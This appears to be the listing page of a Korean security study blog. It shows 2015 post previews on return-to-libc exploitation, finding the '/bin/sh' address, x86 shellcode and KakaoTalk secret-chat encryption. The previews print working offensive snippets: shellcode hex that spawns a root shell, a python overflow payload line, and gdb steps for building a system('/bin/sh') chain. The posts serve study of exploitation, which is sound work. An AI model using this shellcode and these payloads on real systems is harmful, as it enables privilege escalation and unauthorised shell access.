CITY LOG / SECTOR 01

CVE 취약점 분석부터
디지털 포렌식까지_

최신 CVE 취약점 분석, 패치 확인 방법, 디지털 포렌식과 보안 공부 기록을 정리합니다.

기록 탐험하기
기록 접속 중READ. BUILD. REPEAT.WORLD 01 ● ● ●

EXPLORATION LOG

기록 보관소 /

SELECT YOUR NEXT QUEST

Security Study/System

18개의 기록
Security Study/System

system /bin/sh 주소 찾기

#include #include int main(int argc,char *argv[]) {long shell;shell = 시스템 주소;while(memcmp((void*)shell,("/bin/sh"),8)) shell++;printf("%p\n",shell);}

2015. 9. 15.기록 열기 ↗
Security Study/System

system 1일차

buf[248] + sfp[4] + ret ulimit -s unlimited //스택크기를 무한정으로 늘려 ASLR이 적용안됨 system,execve - ebp+8위치에있는것을 인자로받음 buf[248] + sfp [4] + 조작(system) + AAAA + /bin/sh - system("/bin/sh") b main r 1 p system - system주소 구하기 p exit - exit구하기 find &system,+9999999,"/bin/sh" - /bin/sh주소 구하기 ./filename $(python -c 'print "A"*버퍼+sfp + system + exit + /bin/sh strcpy(bss,\x80asda) strcpy(bss,"b") ./filename buf+sfp..

2015. 9. 12.기록 열기 ↗
Security Study/System

system shellcode

// 16 Byte, setreuid( geteuid() , geteuid() );\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80 // 25 Byte, shellcode\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 // 41 Byte\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0..

2015. 9. 10.기록 열기 ↗
Security Study/System

카카오톡 비밀대화 분석

Certificate Pinning; SSL PinningEnd-to-end EncryptionPerfect Forward Secrecy Cain & Abel을 통한 MITM 공격Certificate PinningRSA 알고리즘, AES를 통하여 키를 주고받음송신자-> AES 키로 암호화된 내용을 서버에 보냄서버에서 복호화하여 내용을 저장, AES 키로 암호화 후 수신자에게 보냄End-to-end EncryptionHandshake 후 각자의 정보를 이용하여 복호화Perfect Forward SecrecySSL Pinning, 키값만 알면 뚫린다!실시간 도/감청은 불가정부의 정책으로 인해서의 데이터 수집이 있다면 또 모를까.카톡 서버에 데이터를 저장하는 이유?- 3일 ~ 일주일; 상대방이 받지 못했을 때..

2015. 9. 3.기록 열기 ↗